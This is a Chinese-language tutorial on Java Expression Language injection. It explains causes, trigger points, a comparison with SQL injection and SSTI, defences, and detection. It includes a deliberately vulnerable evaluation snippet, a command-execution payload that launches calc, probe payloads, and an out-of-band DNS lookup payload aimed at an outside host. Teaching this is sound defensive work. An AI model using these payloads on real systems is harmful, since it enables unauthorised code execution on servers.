表达式语言注入,通常称为EL注入,是Java Web安全领域一类危害极高的漏洞。它的本质是应用程序把用户可控的数据当作表达式语言代码去解析执行,导致攻击者可以执行任意表达式,读取服务器内部对象、操纵文件,甚至在特定环境下执行系统命令。由于表达式语言语法灵活、功能强大,一旦被注入成功,其破坏力往往超过普通的SQL注入。理解它的原理和触发条件,是做好Java应用安全的第一步。

EL注入的产生原理与触发场景
表达式语言最早出现在JSP规范中,目的是让页面开发人员能够以简洁的语法访问Java对象的属性,例如通过 ${user.name} 这样的写法获取数据。后来EL被独立成规范,广泛集成到各类Java框架中,比如Spring的SpEL、OGNL、MVEL、JEXL等。这些表达式引擎普遍支持方法调用、对象创建、类反射等高级特性,因此一旦表达式内容可以被攻击者控制,就等同于把代码执行权交了出去。
典型的触发场景之一是JSP页面对用户输入的二次解析。假设应用接收一个参数并动态包含到页面中,如果这个参数本身含有 ${...} 语法,某些容器或自定义解析逻辑会对其再次求值。另一个常见场景是日志系统,某些日志框架会对日志内容中的表达式进行求值,攻击者在请求头或请求路径中植入恶意表达式,就会在日志记录环节触发执行。此外,一些框架在处理错误消息、模板渲染、国际化文案时,也会调用表达式引擎,这些都是潜在的注入点。
下面用一个简化的Java示例演示危险写法。应用直接把用户提交的内容交给EL引擎求值:
ExpressionFactory factory = ExpressionFactory.newInstance();
ELContext context = new StandardELContext(factory);
// 危险:直接对用户输入求值
String userInput = request.getParameter("expr");
ValueExpression ve = factory.createValueExpression(context, userInput, Object.class);
Object result = ve.getValue(context);当攻击者提交类似 ${Runtime.getRuntime().exec("calc")} 的payload时,表达式引擎会通过反射创建对象并调用方法,最终执行系统命令。这就是EL注入能够实现远程代码执行的根本原因。
EL注入与SQL注入、模板注入的区别
虽然都属于注入类漏洞,但EL注入与SQL注入的攻击面和利用方式有明显差异。SQL注入的目标是数据库,攻击载荷通常是拼接在SQL语句中的恶意片段,防护手段主要是参数化查询和预编译。而EL注入的攻击目标是应用服务器本身,攻击载荷是完整的表达式语句,能够调用Java类库中的任意公开方法,危害范围从信息泄露一直延伸到服务器完全被控制。
EL注入与SSTI服务端模板注入也有交集。很多模板引擎底层就依赖EL或类似的表达式求值机制,因此两者经常被混为一谈。区别在于SSTI针对的是模板渲染环节,比如Freemarker、Velocity的模板语法,而EL注入的范围更广,凡是被表达式引擎解析的输入都可能构成漏洞。在实际代码审计中,判断的关键点是:用户输入最终是否流入了某个表达式求值函数的参数位置。
下表对三类注入做了简要对比:
| 漏洞类型 | 攻击目标 | 典型载荷特征 | 主要防护手段 |
|---|---|---|---|
| SQL注入 | 数据库 | SQL语句片段 | 参数化查询、ORM框架 |
| EL注入 | 应用服务器 | EL表达式语法 | 禁用求值、输入过滤、升级组件 |
| SSTI | 模板引擎 | 模板语法 | 沙箱隔离、避免渲染用户输入 |
理解这些差异有助于在漏洞响应时选择正确的修复策略。比如对SQL注入有效的预编译手段,对EL注入完全无效,必须从表达式引擎的使用方式上入手。
如何有效防范EL注入漏洞
防范EL注入的核心原则是:绝不让用户可控数据进入表达式求值流程。在代码设计阶段,就应当梳理所有调用表达式引擎的位置,确认传入的表达式是否包含外部输入。如果业务上确实需要动态表达式功能,比如规则引擎场景,可以使用沙箱机制限制可访问的类和方法,或者采用白名单方式仅允许访问预定义的变量和函数。
输入过滤可以作为辅助手段。攻击载荷通常需要使用 ${、#{ 以及反射相关的关键字,对这类特征字符进行检测和拦截能在一定程度上降低风险。但要注意,纯黑名单过滤容易被绕过,攻击者可以使用编码、字符串拼接等多种变形方式构造payload,因此过滤只能作为纵深防御的一层,不能作为唯一防线。
组件和框架版本管理同样重要。历史上多个流行组件都曾曝出EL注入相关的CVE漏洞,例如某些版本的日志框架和模板引擎在处理特定输入时会触发表达式求值。及时关注官方安全通告,升级到修复版本,是成本最低的防护方式。下面是一段相对安全的写法示例,通过白名单变量绑定来限制表达能力:
ExpressionFactory factory = ExpressionFactory.newInstance();
StandardELContext context = new StandardELContext(factory);
// 仅绑定业务允许的变量,不暴露危险对象
context.setVariable("userName",
factory.createValueExpression(userInput, String.class));
// 表达式模板来自代码内部,而非用户输入
ValueExpression ve = factory.createValueExpression(
context, "${userName}", Object.class);
Object result = ve.getValue(context);在这个示例中,用户输入只作为变量的值参与求值,而不是作为表达式本身被解析,从根本上消除了代码执行的可能。
漏洞检测与应急响应实践
在渗透测试和代码审计中,检测EL注入可以使用特征探测的方式。向参数中注入 ${7*7} 或 #{7*7},观察响应中是否出现计算结果49,这是快速判断表达式是否被解析的常用技巧。对于无法直接回显的场景,可以借助DNSLog等外带技术,通过 ${InetAddress.getByName("xxx.ippipp.com")} 之类的表达式确认漏洞存在。当然,此类测试必须在授权范围内进行。
从代码审计角度,可以全局搜索表达式求值相关的调用点,重点关注 createValueExpression、evaluateExpression、OGNL的 getValue 等方法,然后向上追踪参数来源,判断是否存在外部输入流入。对于依赖大量第三方组件的项目,建议配合依赖漏洞扫描工具定期检查组件版本。
一旦在线上环境发现EL注入被利用,应急响应应当立即隔离受影响实例,检查攻击者是否通过命令执行留下了后门文件或异常计划任务,同时分析访问日志定位攻击入口。修复完成后,应将对应场景加入安全测试用例,通过持续的安全测试防止同类问题复发。表达式语言带来的灵活性是Java生态的重要特性,但只有建立在使用边界清晰的基础之上,这种灵活性才不会变成攻击者的突破口。